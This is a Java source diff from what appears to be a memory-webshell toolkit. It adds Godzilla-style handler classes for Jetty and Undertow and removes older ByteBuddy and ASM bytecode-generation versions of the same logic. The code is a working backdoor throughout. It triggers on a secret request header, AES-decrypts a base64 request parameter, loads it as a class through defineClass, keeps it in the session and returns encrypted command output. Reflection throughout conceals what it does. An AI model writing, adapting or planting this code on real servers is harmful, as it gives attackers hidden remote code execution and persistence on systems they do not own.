mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); // 创建 Class[] 数组
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
mv.visitLdcInsn(Type.getType("[B")); // byte[].class
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); // String.class
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getConstructor",
"([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;", false);
// 准备构造函数参数
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
// 调用 key.getBytes()
mv.visitVarInsn(Opcodes.ALOAD, keyIndex); // 加载 key
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
mv.visitInsn(Opcodes.AASTORE); // 存储 byte[] 到参数数组
// 存储第二个参数 "AES"
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
mv.visitLdcInsn("AES"); // 加载字符串 "AES"
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Constructor", "newInstance",
"([Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecIndex); // Store secretKeySpec in local var 20
// Initialize cipher for decryption
// cipherInitMethod.invoke(cipher, 2, secretKeySpec);
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load
// cipherInitMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitInsn(Opcodes.ICONST_2); // Constant 2 for Cipher.DECRYPT_MODE
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// Decrypt data
// data = (byte[]) doFinalMethod.invoke(cipher, data);
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store updated data in local var 10
}
private void getParameterValue(int requestIndex, int passIndex, int curParameterIndex) {
// String parameter = (String) request.getClass().getMethod("getParameter",
// String.class).invoke(request, pass);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getParameter");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke getParameter
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, passIndex); // Load pass
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, curParameterIndex); // Store parameter in local var 9
}
private void getHeaderValue(int requestIndex, int headerNameIndex, int curHeaderIndex) {
// String value = (String) request.getClass().getMethod("getHeader",
// String.class).invoke(request, headerName);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getHeader");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke getHeader
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, headerNameIndex); // Load headerName
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, curHeaderIndex); // Store value in local var 8
}
private void tryDecodeBase64(int base64ClassIndex, int decoderClassIndex, int curParameterIndex, int dataIndex,
int base64ExceptionIndex) {
// Try to use java.util.Base64 decoder first
Label base64DecodeTrialStart = new Label();
Label base64DecodeCatch = new Label();
Label afterBase64Decode = new Label();
mv.visitTryCatchBlock(base64DecodeTrialStart, base64DecodeCatch, base64DecodeCatch, "java/lang/Exception");
mv.visitLabel(base64DecodeTrialStart);
// Class<?> clazz = Class.forName("java.util.Base64", true,
// Thread.currentThread().getContextClassLoader());
mv.visitLdcInsn("java.util.Base64");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store Base64 class in local var 11
// Object object = clazz.getMethod("getDecoder", new Class[0]).invoke(clazz,
// null);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class
mv.visitLdcInsn("getDecoder");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class as the target
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder object in local var 12
// byArray = (byte[])object.getClass().getMethod("decode",
// String.class).invoke(object, string7);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("decode");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Decode);
// Catch block for fallback to sun.misc.BASE64Decoder
mv.visitLabel(base64DecodeCatch);
mv.visitVarInsn(Opcodes.ASTORE, base64ExceptionIndex); // Store exception in local var 13
// base64 = Class.forName("sun.misc.BASE64Decoder", true,
// Thread.currentThread().getContextClassLoader());
mv.visitLdcInsn("sun.misc.BASE64Decoder");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 11
// Object decoder = base64.newInstance();
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", "()Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder in local var 12
// data = (byte[]) decoder.getClass().getMethod("decodeBuffer",
// String.class).invoke(decoder, parameter);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("decodeBuffer");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
mv.visitLabel(afterBase64Decode);
}
}
@@ -0,0 +1,133 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
/**
* @author ReaJason
*/
public class GodzillaJettyHandler extends ClassLoader {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaJettyHandler() {
}
public GodzillaJettyHandler(ClassLoader z) {
super(z);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = base64Decode(parameter);
data = this.x(data, false);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
f.equals(arrOut);
f.equals(request);
writer.write(md5.substring(0, 16));
f.toString();
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,119 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
/**
* @author ReaJason
*/
public class GodzillaUndertowServletHandler extends ClassLoader {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaUndertowServletHandler() {
}
public GodzillaUndertowServletHandler(ClassLoader z) {
super(z);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = base64Decode(parameter);
data = this.x(data, false);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).Q(data));
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
f.equals(arrOut);
f.equals(request);
writer.write(md5.substring(0, 16));
f.toString();
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -1,87 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.godzilla.jetty;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class GodzillaHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 1) Object baseRequest,
@Advice.Argument(value = 2) Object request,
@Advice.Argument(value = 3) Object response
) {
String key = "key";
String pass = "pass";
String md5 = "md5";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Cipher c = Cipher.getInstance("AES");
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
c.init(2, keySpec);
data = c.doFinal(data);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
f.equals(arrOut);
f.equals(request);
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(md5.substring(0, 16));
f.toString();
c.init(1, keySpec);
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
String result = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
}
writer.write(result);
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,915 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.godzilla.jetty;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
public class GodzillaHandlerAsmMethodVisitor extends MethodVisitor {
Type[] argTypes;
public GodzillaHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argTypes) {
super(Opcodes.ASM9, mv);
this.argTypes = argTypes;
}
@Override
public void visitCode() {
super.visitCode();
int startIndex = 1;
for (Type type : argTypes) {
startIndex += type.getSize();
}
int keyIndex = startIndex;
int passIndex = startIndex + 1;
int md5Index = startIndex + 2;
int headerNameIndex = startIndex + 3;
int headerValueIndex = startIndex + 4;
int curHeaderIndex = startIndex + 5;
int curParameterIndex = startIndex + 6;
int dataIndex = startIndex + 7;
int base64ClassIndex = startIndex + 8;
int decoderClassIndex = startIndex + 9;
int base64ExceptionIndex = startIndex + 10;
int cipherClassIndex = startIndex + 11;
int secretKeySpecClassIndex = startIndex + 12;
int keyClassIndex = startIndex + 13;
int cipherInitMethodIndex = startIndex + 14;
int doFinalMethodIndex = startIndex + 15;
int cipherIndex = startIndex + 16;
int secretKeySpecIndex = startIndex + 17;
int sessionIndex = startIndex + 18;
int sessionPayloadIndex = startIndex + 19;
int defineClassIndex = startIndex + 20;
int payloadClassIndex = startIndex + 21;
int arrOutIndex = startIndex + 22;
int instanceIndex = startIndex + 23;
int writerIndex = startIndex + 24;
int encryptBytesIndex = startIndex + 25;
int encoderClassIndex = startIndex + 26;
int resultIndex = startIndex + 27;
int base64EncodeExceptionIndex = startIndex + 28;
int outerExceptionIndex = startIndex + 26;
// Access method arguments - adjust based on whether method is static or not
int baseRequestIndex = 2; // Arg index 1
int requestIndex = 3; // Arg index 2
int responseIndex = 4; // Arg index 3
// Define constants
mv.visitLdcInsn("key");
mv.visitVarInsn(Opcodes.ASTORE, keyIndex);
mv.visitLdcInsn("pass");
mv.visitVarInsn(Opcodes.ASTORE, passIndex);
mv.visitLdcInsn("md5");
mv.visitVarInsn(Opcodes.ASTORE, md5Index);
mv.visitLdcInsn("headerName");
mv.visitVarInsn(Opcodes.ASTORE, headerNameIndex);
mv.visitLdcInsn("headerValue");
mv.visitVarInsn(Opcodes.ASTORE, headerValueIndex);
// Define labels for try-catch
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
// Register try-catch block
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
// Start of try block
mv.visitLabel(tryStart);
getHeaderValue(requestIndex, headerNameIndex, curHeaderIndex);
// if (value != null && value.contains(headerValue))
mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
Label ifNullLabel = new Label();
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
mv.visitVarInsn(Opcodes.ALOAD, headerValueIndex); // Load headerValue
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "contains",
"(Ljava/lang/CharSequence;)Z", false);
mv.visitJumpInsn(Opcodes.IFEQ, ifNullLabel);
// Set baseRequest.setHandled(true)
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("setHandled");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
getParameterValue(requestIndex, passIndex, curParameterIndex);
// Declare data variable
mv.visitInsn(Opcodes.ACONST_NULL);
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store null in data (local var 10)
tryDecodeBase64(base64ClassIndex, decoderClassIndex, curParameterIndex, dataIndex, base64ExceptionIndex);
decryptData(cipherClassIndex, secretKeySpecClassIndex, keyClassIndex, cipherInitMethodIndex, doFinalMethodIndex, cipherIndex, keyIndex, secretKeySpecIndex, dataIndex);
getSessionPayload(requestIndex, sessionIndex, sessionPayloadIndex);
// if (sessionPayload == null)
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
Label sessionPayloadNotNull = new Label();
mv.visitJumpInsn(Opcodes.IFNONNULL, sessionPayloadNotNull);
defineClassWhenFirstInvoke(defineClassIndex, dataIndex, payloadClassIndex, sessionIndex);
// Else branch - sessionPayload is not null
mv.visitLabel(sessionPayloadNotNull);
// request.getClass().getMethod("setAttribute", String.class, Object.class)
// .invoke(request, "parameters", data);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("setAttribute");
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
mv.visitInsn(Opcodes.AASTORE);
